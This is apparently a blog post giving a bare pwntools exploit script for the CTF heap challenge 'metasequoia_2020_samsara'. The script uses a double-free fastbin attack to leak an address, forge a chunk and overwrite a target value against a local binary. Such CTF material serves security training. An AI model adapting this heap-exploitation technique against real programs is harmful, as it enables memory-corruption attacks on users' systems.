1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import* from LibcSearcher import *
p=process("./metasequoia_2020_samsara") context.log_level="debug"
libc=ELF('./libc-2.23.so')
def add(): p.sendlineafter('choice > ','1')
def free(index): p.sendlineafter('choice > ','2') p.sendlineafter('Index',str(index))
def full(index,content): p.sendlineafter('choice > ','3') p.sendlineafter('Index',str(index)) p.sendlineafter('Ingredient:',content)
def show(): p.sendlineafter('choice > ','4') def move(content): p.sendlineafter('choice > ','5') p.sendlineafter('Which kingdom?',content)
add() add() add() free(0) free(1) free(0) show()
p.recvuntil('Your lair is at: ') addr=int(p.recv(14),16)
print('addr=>'+hex(addr)) move(str(0x20)) gdb.attach(p) pause()
v8=addr-0x8 add() full(3,str(v8)) add() add()
add()
full(6,str(0xdeadbeef))
p.sendlineafter('choice > ','6')
p.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~